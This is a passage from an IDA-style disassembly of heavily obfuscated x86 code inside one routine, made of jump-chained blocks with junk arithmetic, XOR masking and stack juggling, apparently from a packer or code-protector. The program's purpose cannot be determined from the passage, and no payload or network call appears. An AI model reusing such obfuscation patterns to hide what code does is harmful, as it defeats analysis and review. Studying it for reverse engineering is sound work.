		xor	edi, [esp-6E62h+arg_6E58+2]
		jmp	loc_5A2720
; ---------------------------------------------------------------------------


loc_59F41C:				; CODE XREF: sub_581EE9+18EC5j
		push	eax
		mov	al, 0F2h
		inc	al
		jmp	loc_59C50E
; ---------------------------------------------------------------------------


loc_59F426:				; CODE XREF: sub_581EE9+2385Aj
		xor	bh, 8Ah
		and	ch, bh
		jmp	loc_593A8B
; ---------------------------------------------------------------------------


loc_59F430:				; CODE XREF: sub_581EE9+2076Ej
		pop	esp
		add	ecx, 5494637Ah
		push	eax
		mov	eax, 0CF22B6E1h
		xor	ecx, eax
		pop	eax
		mov	ebp, ecx
		pop	ecx
		sub	ebp, 5D8E7F39h
		push	eax
		mov	eax, 272438D2h
		sub	eax, 69B65796h
		jmp	loc_59DC9C
; ---------------------------------------------------------------------------


loc_59F459:				; CODE XREF: sub_581EE9+1E90Dj
		and	eax, 36101C58h
		shr	eax, 4
		xor	eax, 15982234h
		xor	ebp, eax
		pop	eax
		xor	ebp, 78BD1E9Fh
		and	ebx, ebp
		mov	ebp, [esp-6E6Eh+arg_6E64+2]
		push	7032h
		mov	[esp-6E6Ah+arg_6E60+2],	esi
		sub	esp, 4
		mov	[esp-6E66h+arg_6E5C+2],	esp
		jmp	loc_59651F
; ---------------------------------------------------------------------------


loc_59F48A:				; CODE XREF: sub_581EE9+1A10Bj
		mov	ecx, esp
		jmp	loc_599D82
; ---------------------------------------------------------------------------


loc_59F491:				; CODE XREF: sub_581EE9+1A531j
		add	edi, ebx
		pop	ebx
		jmp	loc_5998D1
; ---------------------------------------------------------------------------


loc_59F499:				; CODE XREF: sub_581EE9+1BD0Fj
		mov	bh, 3
		or	dh, bh
		mov	bx, word ptr [esp-6EA4h+arg_6E9A+2]
		add	esp, 2
		jmp	loc_59710F
; ---------------------------------------------------------------------------


loc_59F4AC:				; CODE XREF: sub_581EE9+13DE5j
		mov	[ebx], ecx
		pop	ecx
		jmp	loc_59D84E
; ---------------------------------------------------------------------------


loc_59F4B4:				; CODE XREF: sub_581EE9+1F0E3j
		sub	ebp, 3007679Ah
		xor	eax, ebp
		pop	ebp
		add	eax, 0FFFFFFFFh
		or	eax, 15955BF5h
		add	eax, 54D43045h
		jmp	loc_5A1D21
; ---------------------------------------------------------------------------


loc_59F4CF:				; CODE XREF: sub_581EE9+20B55j
		push	edx
		mov	dx, 7556h
		xor	dx, 3856h
		jmp	loc_5A441A
; ---------------------------------------------------------------------------


loc_59F4DE:				; CODE XREF: sub_581EE9+13A6Fj
		mov	[esp-6EA2h+arg_6E9A], eax
		push	[esp-6EA2h+arg_6E9A]
		pop	edx
		push	esi
		push	578h
		mov	[esp-6E9Ah+arg_6E92], esp
		push	ebx
		mov	ebx, 4
		jmp	loc_5A05C2
; ---------------------------------------------------------------------------


loc_59F4F9:				; CODE XREF: sub_581EE9+1C416j
		mov	ax, word ptr [esp-6EA8h+arg_6E9E+2]
		push	eax
		jmp	loc_5A2BC1
; ---------------------------------------------------------------------------


loc_59F503:				; CODE XREF: sub_581EE9+17D49j
		shr	edx, 6
		sub	edx, 0D255319Ah
		sub	ebx, edx
		pop	edx
		push	dword ptr [esp-6EAAh+arg_6EA2]
		pop	ecx
		push	edx
		mov	edx, esp
		jmp	loc_59B9EF
; ---------------------------------------------------------------------------


loc_59F51B:				; CODE XREF: sub_581EE9+1B7EEj
		mov	[esp-6EA6h+arg_6E9E], esp
		push	edi
		jmp	loc_59CBCC
; ---------------------------------------------------------------------------


loc_59F524:				; CODE XREF: sub_581EE9+117B8j
		sub	al, 0A1h
		pop	dx
		push	101Eh
		mov	[esp-6E8Ah+arg_6E80+2],	ecx
		push	eax
		jmp	loc_596A65
; ---------------------------------------------------------------------------


loc_59F536:				; CODE XREF: sub_581EE9+229C9j
		push	esp
		pop	esi
		push	79Ch
		mov	[esp], ebx
		mov	ebx, 0A122A2Bh
		sub	ebx, 0A122A27h
		add	esi, 7A487E6Bh
		add	esi, 6684477h
		add	esi, ebx
		jmp	loc_597468
; ---------------------------------------------------------------------------


loc_59F55E:				; CODE XREF: sub_581EE9+22F2Fj
		mov	ebp, 645ED558h
		xor	eax, ebp
		push	dword ptr [esp-6E82h+arg_6E7A]
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_59AAAA
; ---------------------------------------------------------------------------


loc_59F57D:				; CODE XREF: sub_581EE9+1C083j
		pop	edx
		jmp	loc_5A12EC
; ---------------------------------------------------------------------------


loc_59F583:				; CODE XREF: sub_581EE9+209BCj
		xor	ecx, 9943D5EDh
		jmp	loc_59A046
; ---------------------------------------------------------------------------


loc_59F58E:				; CODE XREF: sub_581EE9+10FC2j
		xor	eax, [esp-6E6Eh+arg_6E64+2]
		mov	esp, [esp-6E6Eh+arg_6E64+2]
		mov	[esp-6E6Eh+arg_6E64+2],	esi
		jmp	loc_59D6D1
; ---------------------------------------------------------------------------


loc_59F59C:				; CODE XREF: sub_581EE9+23AA8j
		push	25425C1Ah
		pop	ecx
		jmp	loc_59ED9D
; ---------------------------------------------------------------------------


loc_59F5A7:				; CODE XREF: sub_581EE9+10D55j
		sub	esp, 4
		mov	[esp-6E7Ah+arg_6E72], edx
		push	esp
		pop	edx
		push	ebp
		jmp	loc_59A6C0
; ---------------------------------------------------------------------------


loc_59F5B5:				; CODE XREF: sub_581EE9+20F09j
		mov	[esp-6E76h+arg_6E6E], esi
		mov	esi, 25B751AEh
		shr	esi, 5
		push	ecx
		mov	ecx, 7832684h
		xor	esi, ecx
		jmp	loc_59FF92
; ---------------------------------------------------------------------------


loc_59F5CD:				; CODE XREF: sub_581EE9+11E74j
		xchg	ecx, esi
		shl	esi, 1
		jmp	loc_59DA7B
; ---------------------------------------------------------------------------


loc_59F5D6:				; CODE XREF: sub_581EE9+1DA54j
		push	7701h
		push	esp
		jmp	loc_5929B7
; ---------------------------------------------------------------------------


loc_59F5E1:				; CODE XREF: sub_581EE9+179D6j
		sub	eax, 2D7C0221h
		sub	eax, esi
		add	eax, 2D7C0221h
		jmp	loc_595BFA
; ---------------------------------------------------------------------------


loc_59F5F2:				; CODE XREF: sub_581EE9+19840j
		add	esi, 4C304C4Ah
		add	esi, 3911221Dh
		sub	esi, 2B8D5B09h
		mov	ebp, [esp-6E72h+arg_6E68+2]
		push	ebx
		push	esp
		pop	ebx
		push	eax
		mov	eax, 58452419h
		shr	eax, 2
		jmp	loc_59D6B0
; ---------------------------------------------------------------------------


loc_59F618:				; CODE XREF: sub_581EE9+201DBj
		mov	ecx, [esp-6E6Ah+arg_6E60+2]
		jmp	loc_59870B
; ---------------------------------------------------------------------------


loc_59F620:				; CODE XREF: sub_581EE9+12956j
		push	eax
		mov	eax, 77CA6025h
		jmp	loc_59ABA2
; ---------------------------------------------------------------------------


loc_59F62B:				; CODE XREF: sub_581EE9+182FDj
		pop	ebx
		add	eax, 5954A73h
		shr	eax, 3
		add	eax, 5BB31DD7h
		or	eax, 33450EBAh
		not	eax
		push	6FEh
		mov	[esp-6E7Ah+arg_6E72], ecx
		mov	ecx, 0DA21FF93h
		add	eax, ecx
		mov	ecx, [esp-6E7Ah+arg_6E72]
		add	esp, 4
		sub	edx, 49B802BAh
		sub	edx, eax
		add	edx, 49B802BAh
		jmp	loc_59562E
; ---------------------------------------------------------------------------


loc_59F668:				; CODE XREF: sub_581EE9+10A13j
		sub	cl, 0FFh
		shl	cl, 7
		push	ebx
		mov	bl, 0E4h
		shr	bl, 1
		and	bl, 0E1h
		jmp	loc_597E09
; ---------------------------------------------------------------------------


loc_59F67B:				; CODE XREF: sub_581EE9+190A8j
		mov	edx, 46012B8Ch
		jmp	loc_59BCC0
; ---------------------------------------------------------------------------


loc_59F685:				; CODE XREF: sub_581EE9+12C22j
		push	esi
		jmp	loc_596C7F
; ---------------------------------------------------------------------------


loc_59F68B:				; CODE XREF: sub_581EE9+203B6j
		add	edx, edi
		pop	edi
		add	edx, 4
		xor	edx, [esp-6E68h+arg_6E60]
		xor	[esp-6E68h+arg_6E60], edx
		jmp	loc_595C1D
; ---------------------------------------------------------------------------


loc_59F69F:				; CODE XREF: sub_581EE9+10D8Dj
		xor	eax, 38805105h
		jmp	loc_59B583
; ---------------------------------------------------------------------------


loc_59F6A9:				; CODE XREF: sub_581EE9+1DE97j
		sub	ebp, 48423841h
		push	20A8h
		jmp	loc_594BB8
; ---------------------------------------------------------------------------


loc_59F6B9:				; CODE XREF: sub_581EE9+2099Cj
		push	edx
		mov	edx, 29403BBCh
		jmp	loc_59972A
; ---------------------------------------------------------------------------


loc_59F6C4:				; CODE XREF: sub_581EE9+1770Fj
		shr	edi, 1
		dec	edi
		xchg	esi, edi
		neg	esi
		xchg	esi, edi
		jmp	loc_594183
; ---------------------------------------------------------------------------
		push	small word ptr [edx]
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59F6DA:				; CODE XREF: sub_581EE9+1FDBBj
		push	eax
		mov	eax, 24D67360h
		sub	eax, 1
		sub	esp, 4
		jmp	loc_59E89E
; ---------------------------------------------------------------------------


loc_59F6ED:				; CODE XREF: sub_581EE9+2124Aj
		mov	edi, 796A114Bh
		jmp	loc_59D25D
; ---------------------------------------------------------------------------


loc_59F6F7:				; CODE XREF: sub_581EE9+1E03Dj
		push	edx
		jmp	loc_59BF09
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	edi
		jmp	loc_5A431C
; ---------------------------------------------------------------------------
		push	65ECh
		jmp	loc_59DBBA
; ---------------------------------------------------------------------------


loc_59F711:				; CODE XREF: sub_581EE9+1D963j
		add	edx, esi
		pop	esi
		xchg	edx, [esp-6E6Ch+arg_6E64]
		pop	esp
		push	[esp-6E70h+arg_6E68]
		jmp	loc_59EC78
; ---------------------------------------------------------------------------


loc_59F720:				; CODE XREF: sub_581EE9+170DEj
		inc	edi
		shr	edi, 6
		push	eax
		push	ecx
		push	4C2D1800h
		pop	ecx
		neg	ecx
		xor	ecx, 0C6B3B9E7h
		mov	eax, ecx
		pop	ecx
		sub	edi, 146601F8h
		sub	edi, eax
		add	edi, 146601F8h
		pop	eax
		sub	edi, 10C07937h
		jmp	loc_59BFBD
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		push	small 2FABh
		mov	word ptr [esp-6ED2h+arg_6ECA], ax
		jmp	loc_5A2D45
; ---------------------------------------------------------------------------


loc_59F762:				; CODE XREF: sub_581EE9+1BBB4j
		mov	ecx, 660A7F88h
		jmp	loc_59C22B
; ---------------------------------------------------------------------------


loc_59F76C:				; CODE XREF: sub_581EE9+1843Bj
		shl	edx, 5
		jmp	loc_5A4414
; ---------------------------------------------------------------------------


loc_59F774:				; CODE XREF: sub_581EE9+195DDj
		sub	esp, 4
		mov	[esp-6E9Ah+arg_6E92], ebx
		mov	ebx, 1E8C58CBh
		sub	eax, 3A1F35DAh
		sub	eax, ebx
		add	eax, 3A1F35DAh
		mov	ebx, [esp-6E9Ah+arg_6E92]
		push	1E0Eh
		mov	[esp-6E96h+arg_6E8E], eax
		jmp	loc_59E3BC
; ---------------------------------------------------------------------------


loc_59F79B:				; CODE XREF: sub_581EE9+13F44j
		add	[esp+4], eax
		sub	dword ptr [esp+4], 7EA76790h
		pop	eax
		mov	esi, [esp+0]
		jmp	loc_5A15FA
; ---------------------------------------------------------------------------


loc_59F7B0:				; CODE XREF: sub_581EE9+21857j
		push	2
		pop	edx
		add	edi, edx
		mov	edx, [esp+0]
		add	esp, 4
		jmp	loc_5A46BA
; ---------------------------------------------------------------------------


loc_59F7C3:				; CODE XREF: sub_581EE9+239D1j
		pop	[esp-6E94h+arg_6E8A+2]
		jmp	loc_5A5378
; ---------------------------------------------------------------------------


loc_59F7CB:				; CODE XREF: sub_581EE9+12FD8j
		add	edi, 4
		xor	edi, [esp-6E7Eh+arg_6E76]
		xor	[esp-6E7Eh+arg_6E76], edi
		xor	edi, [esp-6E7Eh+arg_6E76]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp-6E7Eh+arg_6E76]
		mov	esp, [esp-6E7Eh+arg_6E76]
		mov	[esp-6E7Eh+arg_6E76], edi
		mov	edi, 4C56554h
		jmp	loc_59F2F3
; ---------------------------------------------------------------------------


loc_59F7FA:				; CODE XREF: sub_581EE9+1A62Bj
		and	al, bl
		pop	ebx
		shl	al, 4
		add	al, 0A6h
		mov	dh, al
		pop	eax
		push	ax
		mov	al, 0D2h
		xor	dh, al
		pop	ax
		shr	dh, 1
		and	dh, 7Eh
		and	dh, 91h
		sub	dh, 7Dh
		add	dh, 0B0h
		xor	cl, dh
		mov	edx, [esp-6E8Eh+arg_6E84+2]
		add	esp, 4
		xor	al, cl
		push	[esp-6E92h+arg_6E8A]
		jmp	loc_59B930
; ---------------------------------------------------------------------------


loc_59F82D:				; CODE XREF: sub_581EE9+24150j
		sub	edx, 4F2518DFh
		mov	esi, [esp-6E8Eh+arg_6E84+2]
		add	esp, 4
		xor	edx, [esp-6E92h+arg_6E8A]
		xor	[esp-6E92h+arg_6E8A], edx
		jmp	loc_59BC99
; ---------------------------------------------------------------------------


loc_59F847:				; CODE XREF: sub_581EE9+1CA9Cj
		mov	esi, 4
		jmp	loc_59F711
; ---------------------------------------------------------------------------


loc_59F851:				; CODE XREF: sub_581EE9+1F5C7j
		xor	edx, [esp+0]
		mov	esp, [esp+0]
		xor	dh, bl
		pop	ebx
		sub	al, dh
		pop	edx
		xor	bl, al
		movzx	eax, al
		push	small 7357h
		mov	word ptr [esp-6E50h+arg_6E48], ax
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59F86F:				; CODE XREF: sub_581EE9+10B28j
		mov	[esp-6E9Eh+arg_6E96], eax
		push	ebx
		jmp	loc_5A3D2E
; ---------------------------------------------------------------------------


loc_59F878:				; CODE XREF: sub_581EE9+180FFj
		xor	ecx, 0E48D7374h
		sub	ebp, ecx
		pop	ecx
		xor	esi, ebp
		pop	ebp
		dec	esi
		neg	esi
		xor	esi, 86856E33h
		and	eax, esi
		push	dword ptr [esp+0]
		pop	esi
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		sub	esp, 4
		mov	[esp+0], eax
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	[esp-6E46h+arg_6E3E]
		not	ecx
		jmp	loc_59B91E
; ---------------------------------------------------------------------------


loc_59F8B4:				; CODE XREF: sub_581EE9+1B9C3j
		push	ebp
		mov	ebp, 225E0459h
		and	ebp, 619A7422h
		xor	ebp, 33B22919h
		and	ecx, ebp
		pop	ebp
		shl	ecx, 6
		xor	ecx, 220A4644h
		add	edx, ecx
		pop	ecx
		add	edx, 4
		xchg	edx, [esp-6EA2h+arg_6E9A]
		pop	esp
		push	1373h
		mov	[esp-6EA2h+arg_6E9A], ebx
		push	[esp-6EA2h+arg_6E9E]
		mov	ebx, [esp-6E9Eh+arg_6E96]
		jmp	loc_5A40BE
; ---------------------------------------------------------------------------


loc_59F8F3:				; CODE XREF: sub_581EE9+20DB4j
		pop	ebp
		push	esi
		push	edx
		mov	edx, 7A76539Ah
		jmp	loc_59AC2A
; ---------------------------------------------------------------------------


loc_59F900:				; CODE XREF: sub_581EE9+1FB38j
		push	[esp-6E9Ah+arg_6E92]
		jmp	loc_5A5B36
; ---------------------------------------------------------------------------


loc_59F908:				; CODE XREF: sub_581EE9+1FAF3j
		mov	esi, 4
		add	eax, 0B060833h
		add	eax, esi
		jmp	loc_59DAE9
; ---------------------------------------------------------------------------


loc_59F919:				; CODE XREF: sub_581EE9+14080j
		mov	eax, 6DBE4BC8h
		push	eax
		pop	edi
		pop	eax
		xor	eax, edi
		pop	edi
		add	edi, eax
		mov	eax, [esp-6E52h+arg_6E48+2]
		push	edx
		mov	edx, esp
		push	ebx
		jmp	loc_59F170
; ---------------------------------------------------------------------------


loc_59F932:				; CODE XREF: sub_581EE9+15CA0j
		xor	eax, 14C94B37h
		sub	esp, 4
		mov	[esp-6E9Ch+arg_6E92+2],	eax
		jmp	loc_59F5D6
; ---------------------------------------------------------------------------


loc_59F942:				; CODE XREF: sub_581EE9+10BAAj
		push	ecx
		mov	ecx, 703944B3h
		xor	ecx, 610D2CDCh
		jmp	loc_59E611
; ---------------------------------------------------------------------------


loc_59F953:				; CODE XREF: sub_581EE9+1C8BBj
		xor	ecx, [esp-6E7Ah+arg_6E72]
		xor	[esp-6E7Ah+arg_6E72], ecx
		jmp	loc_596FAC
; ---------------------------------------------------------------------------


loc_59F95E:				; CODE XREF: sub_581EE9+1492Aj
		add	eax, 3E9B6C8Bh
		sub	eax, 31A57DF6h
		xor	eax, 70F414D7h
		jmp	loc_5943B5
; ---------------------------------------------------------------------------


loc_59F972:				; CODE XREF: sub_581EE9+24913j
		xor	eax, 107D843Eh
		sub	ebx, eax
		pop	eax
		jmp	loc_5A4CA9
; ---------------------------------------------------------------------------


loc_59F97F:				; CODE XREF: sub_581EE9+19096j
		pop	ebx
		jmp	loc_59BAFC
; ---------------------------------------------------------------------------


loc_59F985:				; CODE XREF: sub_581EE9+185F8j
		pop	edx
		pop	ecx
		push	ecx
		mov	ch, 0
		sub	ch, 9Ah
		jmp	loc_593943
; ---------------------------------------------------------------------------


loc_59F992:				; CODE XREF: sub_581EE9+1F428j
		sub	ebp, 66BE342Dh
		add	ebp, eax
		add	ebp, 66BE342Dh
		jmp	loc_59E423
; ---------------------------------------------------------------------------


loc_59F9A5:				; CODE XREF: sub_581EE9+234A6j
		xor	ecx, 0C0F396Fh
		push	5D17h
		mov	[esp+0], ebp
		mov	ebp, 0B11BF1h
		sub	[esp-6E4Ah+arg_6E48+2],	ebp
		mov	ebp, [esp+0]
		push	edi
		mov	edi, esp
		jmp	loc_59AE94
; ---------------------------------------------------------------------------


loc_59F9C7:				; CODE XREF: sub_581EE9+21A09j
		pop	esi
		add	esp, 4
		add	esi, 4
		push	edx
		jmp	loc_594C0B
; ---------------------------------------------------------------------------


loc_59F9D7:				; CODE XREF: sub_581EE9+21BFAj
		push	dword ptr [esp+0]
		pop	esi
		push	0D5Bh
		jmp	loc_5A0D07
; ---------------------------------------------------------------------------


loc_59F9E5:				; CODE XREF: sub_581EE9+16D94j
		push	edi
		push	edx
		jmp	loc_596866
; ---------------------------------------------------------------------------


loc_59F9EC:				; CODE XREF: sub_581EE9+16FD9j
		mov	edi, esp
		push	eax
		mov	eax, 32524334h
		dec	eax
		jmp	loc_599678
; ---------------------------------------------------------------------------


loc_59F9FA:				; CODE XREF: sub_581EE9+1F6F2j
		mov	edx, 2
		jmp	loc_595626
; ---------------------------------------------------------------------------


loc_59FA04:				; CODE XREF: sub_581EE9+12930j
		push	bx
		mov	bl, 0DAh
		add	cl, bl
		pop	bx
		xor	cl, 17h
		sub	dh, cl
		mov	ecx, [esp-6E52h+arg_6E48+2]
		add	esp, 4
		add	dh, 57h
		push	eax
		mov	al, 0F0h
		sub	al, 0EBh
		inc	al
		shl	al, 4
		shr	al, 2
		sub	al, 0C6h
		or	dh, al
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_599334
; ---------------------------------------------------------------------------


loc_59FA3A:				; CODE XREF: sub_581EE9+108B0j
		or	ebp, 167722B4h
		jmp	loc_5994FC
; ---------------------------------------------------------------------------


loc_59FA45:				; CODE XREF: sub_581EE9+13766j
		mov	[esp-6E62h+arg_6E58+2],	ebp
		sub	esp, 4
		push	esp
		pop	[esp-6E5Ah+arg_6E50+2]
		jmp	loc_5941BB
; ---------------------------------------------------------------------------


loc_59FA54:				; CODE XREF: sub_581EE9+12484j
		mov	ebp, 2A58309Bh
		jmp	loc_5A0589
; ---------------------------------------------------------------------------


loc_59FA5E:				; CODE XREF: sub_581EE9+1A441j
		or	edx, 48A43172h
		jmp	loc_5A5C6E
; ---------------------------------------------------------------------------


loc_59FA69:				; CODE XREF: sub_581EE9+1E36Fj
		mov	edi, [esp-6E7Ah+arg_6E72]
		add	esp, 4
		push	144Bh
		mov	[esp-6E7Ah+arg_6E72], edx
		push	ebp
		push	3DF6390Eh
		pop	ebp
		add	ebp, 0E475D0E2h
		mov	edx, ebp
		pop	ebp
		jmp	loc_5A07CD
; ---------------------------------------------------------------------------


loc_59FA8F:				; CODE XREF: sub_581EE9+17ACDj
		mov	ebx, [esp-6E56h+arg_6E4C+2]
		add	esp, 4
		push	edx
		push	esp
		jmp	loc_59BC7E
; ---------------------------------------------------------------------------
		push	4ECFh
		mov	[esp-6E4Eh+arg_6E44+2],	eax
		mov	eax, esp
		push	edx
		jmp	loc_598B0B
; ---------------------------------------------------------------------------


loc_59FAAC:				; CODE XREF: sub_581EE9+1158Bj
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59FAB1:				; CODE XREF: sub_581EE9+10470j
		add	ch, 93h
		jmp	loc_5A4698
; ---------------------------------------------------------------------------


loc_59FAB9:				; CODE XREF: sub_581EE9+2193Ej
		pop	ecx
		and	ecx, 0D41663Ch
		jmp	loc_59A2F6
; ---------------------------------------------------------------------------


loc_59FAC5:				; CODE XREF: sub_581EE9+127D3j
		add	ebp, 0DC116461h
		mov	ecx, ebp
		pop	ebp
		and	ecx, 5F9C56C7h
		push	edi
		mov	edi, 0E4761373h
		sub	ecx, edi
		mov	edi, [esp-6EA4h+arg_6E9A+2]
		add	esp, 4
		sub	ebp, ecx
		pop	ecx
		push	edx
		mov	edx, 32FE2EE5h
		sub	ebp, edx
		pop	edx
		add	ebp, edx
		add	ebp, 32FE2EE5h
		push	eax
		mov	eax, 53C50E74h
		sub	eax, 50DB1C30h
		jmp	loc_59EE8F
; ---------------------------------------------------------------------------


loc_59FB06:				; CODE XREF: sub_581EE9+140DBj
		xchg	ebp, [esp-6E68h+arg_6E60]
		pop	esp
		xchg	edx, [esp-6E6Ch+arg_6E64]
		jmp	loc_59BA3E
; ---------------------------------------------------------------------------


loc_59FB12:				; CODE XREF: sub_581EE9+15E14j
		pop	edi
		jmp	loc_59BA5D
; ---------------------------------------------------------------------------


loc_59FB18:				; CODE XREF: sub_581EE9+226D6j
		push	edi
		sub	esp, 4
		mov	[esp-6EB6h+arg_6EAC+2],	edx
		push	ebx
		push	eax
		push	490E02F1h
		pop	eax
		neg	eax
		shr	eax, 3
		xor	eax, 4C962DCFh
		jmp	loc_59E768
; ---------------------------------------------------------------------------


loc_59FB39:				; CODE XREF: sub_581EE9+2469Bj
		pop	edx
		push	1690h
		jmp	loc_5A04B7
; ---------------------------------------------------------------------------


loc_59FB44:				; CODE XREF: sub_581EE9+19471j
		xchg	edi, [esp-6EA8h+arg_6E9E+2]
		mov	esp, [esp-6EA8h+arg_6E9E+2]
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59FB4F:				; CODE XREF: sub_581EE9+16833j
		mov	ecx, 342C1F1Eh
		add	ecx, 7EE3C56h
		jmp	loc_5A716D
; ---------------------------------------------------------------------------


loc_59FB5F:				; CODE XREF: sub_581EE9+206ACj
		or	edi, 15165FC4h
		jmp	loc_5A1A9C
; ---------------------------------------------------------------------------


loc_59FB6A:				; CODE XREF: sub_581EE9+1F87Bj
		pop	esi
		add	[esp-6E78h+arg_6E72+2],	edi
		add	[esp-6E78h+arg_6E72+2],	2597091Eh
		pop	edi
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59FB7D:				; CODE XREF: sub_581EE9+1520Aj
		inc	ecx
		xor	ecx, 243C06F8h
		add	ecx, 35F2E675h
		sub	ebx, ecx
		mov	ecx, [esp-6E7Ch+arg_6E72+2]
		add	esp, 4
		jmp	loc_59D78E
; ---------------------------------------------------------------------------


loc_59FB9A:				; CODE XREF: sub_581EE9+2448Fj
		push	ebx
		mov	ebx, 459E5FC2h
		add	ebx, 1C09B678h
		add	ecx, ebx
		pop	ebx
		push	ebx
		mov	ebx, 43D706E9h
		add	ecx, ebx
		pop	ebx
		jmp	loc_593109
; ---------------------------------------------------------------------------


loc_59FBB7:				; CODE XREF: sub_581EE9+1EECAj
		add	ebp, 0DEB8BDE9h
		sub	ecx, ebp
		pop	ebp
		push	ecx
		push	[esp-6E80h+arg_6E7C]
		pop	ecx
		pop	[esp-6E80h+arg_6E76+2]
		pop	esp
		mov	[esp-6E88h+arg_6E80], ebx
		push	11A1h
		mov	[esp-6E84h+arg_6E7C], ecx
		push	36DE4AA7h
		jmp	loc_5A5412
; ---------------------------------------------------------------------------


loc_59FBDF:				; CODE XREF: sub_581EE9+186F4j
		mov	[esp-6E7Eh+arg_6E76], ecx
		push	ebp
		push	38A6h
		mov	[esp-6E76h+arg_6E6E], eax
		push	esi
		jmp	loc_5A1E10
; ---------------------------------------------------------------------------


loc_59FBF1:				; CODE XREF: sub_581EE9+1C0D6j
		add	ecx, 5CCD2265h
		pop	ebp
		add	ecx, ebx
		sub	esp, 4
		jmp	loc_5A4E4D
; ---------------------------------------------------------------------------


loc_59FC05:				; CODE XREF: sub_581EE9+23524j
		xor	[esp-6EA4h+arg_6E9A+2],	esi
		jmp	loc_59A4EC
; ---------------------------------------------------------------------------


loc_59FC0D:				; CODE XREF: sub_581EE9+23D41j
		pop	esi
		push	esi
		mov	esi, 266B7103h
		xor	esi, 59945855h
		add	esi, 1
		push	ebp
		mov	ebp, 0F2A65394h
		add	esi, ebp
		pop	ebp
		add	edi, 1C8403BFh
		add	edi, esi
		sub	edi, 1C8403BFh
		mov	esi, [esp-6EA4h+arg_6E9A+2]
		push	edx
		jmp	loc_5A0721
; ---------------------------------------------------------------------------


loc_59FC40:				; CODE XREF: sub_581EE9+2368Fj
		mov	esi, esp
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp-6E9Ch+arg_6E92+2]
		jmp	loc_59F36F
; ---------------------------------------------------------------------------


loc_59FC59:				; CODE XREF: sub_581EE9+11905j
		add	esp, 4
		sub	esp, 4
		mov	[esp-6EA4h+arg_6E9A+2],	esi
		mov	esi, 4
		add	ebp, esi
		push	[esp-6EA4h+arg_6E9A+2]
		jmp	loc_5A256D
; ---------------------------------------------------------------------------


loc_59FC74:				; CODE XREF: sub_581EE9+1395Fj
		mov	[esp-6E8Eh+arg_6E84+2],	ebx
		jmp	loc_597159
; ---------------------------------------------------------------------------


loc_59FC7C:				; CODE XREF: sub_581EE9+1B0D9j
		push	ebx
		jmp	loc_5A13E9
; ---------------------------------------------------------------------------


loc_59FC82:				; CODE XREF: sub_581EE9+20B92j
		add	[esp-6E8Eh+arg_6E8A], 2EE70BEDh
		add	[esp-6E8Eh+arg_6E8A], ebx
		sub	[esp-6E8Eh+arg_6E8A], 2EE70BEDh
		push	ecx
		jmp	loc_59FE48
; ---------------------------------------------------------------------------


loc_59FC9C:				; CODE XREF: sub_581EE9+1CC47j
		push	[esp-6E88h+arg_6E80]
		mov	ebx, [esp-6E84h+arg_6E7C]
		push	edx
		jmp	loc_5A0004
; ---------------------------------------------------------------------------


loc_59FCA8:				; CODE XREF: sub_581EE9+224BDj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-6E80h+arg_6E76+2]
		pop	esp
		add	edx, 4ACD6A81h
		mov	edi, edx
		mov	edx, [esp-6E84h+arg_6E7C]
		push	ecx
		mov	ecx, esp
		push	edi
		push	eax
		mov	eax, 0A496968h
		shl	eax, 1
		shl	eax, 5
		sub	eax, 925A59FCh
		jmp	loc_593560
; ---------------------------------------------------------------------------


loc_59FCD9:				; CODE XREF: sub_581EE9+13841j
		pop	ebp
		add	ecx, 1
		not	ecx
		shr	ecx, 7
		jmp	loc_599DF7
; ---------------------------------------------------------------------------


loc_59FCE7:				; CODE XREF: sub_581EE9+2237Bj
		mov	edx, 14BD37A1h
		sub	[esp-6E52h+arg_6E4C+2],	edx
		jmp	loc_599D46
; ---------------------------------------------------------------------------


loc_59FCF5:				; CODE XREF: sub_581EE9+19F54j
		mov	edx, [esp-6E7Ah+arg_6E72]
		add	esp, 4
		push	eax
		push	0C21h
		mov	[esp-6E76h+arg_6E6E], esp
		push	esi
		mov	esi, 4
		jmp	loc_59235E
; ---------------------------------------------------------------------------


loc_59FD12:				; CODE XREF: sub_581EE9+1138Bj
		pop	esi
		jmp	loc_599252
; ---------------------------------------------------------------------------


loc_59FD18:				; CODE XREF: sub_581EE9+1E98Dj
		or	ebp, 426E4D09h
		xor	ebp, 6266C4C5h
		add	edi, ebp
		pop	ebp
		sub	edi, 22325A4Dh
		pop	ebx
		xor	eax, edi
		push	[esp-6EB0h+arg_6EA8]
		jmp	loc_59D83F
; ---------------------------------------------------------------------------


loc_59FD38:				; CODE XREF: sub_581EE9+172F4j
		xor	esi, ebx
		pop	ebx
		sub	ecx, 6B8610C9h
		add	ecx, 7C746E68h
		add	ecx, esi
		push	ebp
		push	edx
		mov	edx, 57081E00h
		mov	ebp, edx
		mov	edx, [esp-6EA0h+arg_6E96+2]
		add	esp, 4
		jmp	loc_593F87
; ---------------------------------------------------------------------------


loc_59FD60:				; CODE XREF: sub_581EE9+21D09j
		mov	edx, 2
		sub	esp, 4
		mov	[esp-6EA0h+arg_6E96+2],	ebx
		mov	ebx, 2DBD6FB6h
		push	ebx
		inc	[esp-6E9Ch+arg_6E92+2]
		jmp	loc_593833
; ---------------------------------------------------------------------------


loc_59FD7C:				; CODE XREF: sub_581EE9+175F0j
		xchg	ebx, [esp-6E70h+arg_6E68]
		pop	esp
		jmp	loc_59F6A9
; ---------------------------------------------------------------------------


loc_59FD85:				; CODE XREF: sub_581EE9+111D1j
		pop	edi
		sub	ebp, edx
		push	ecx
		mov	ecx, 47D976EFh
		sub	ebp, ecx
		jmp	loc_59C42D
; ---------------------------------------------------------------------------


loc_59FD95:				; CODE XREF: sub_581EE9+161ECj
		pop	eax
		add	eax, 1
		shl	eax, 1
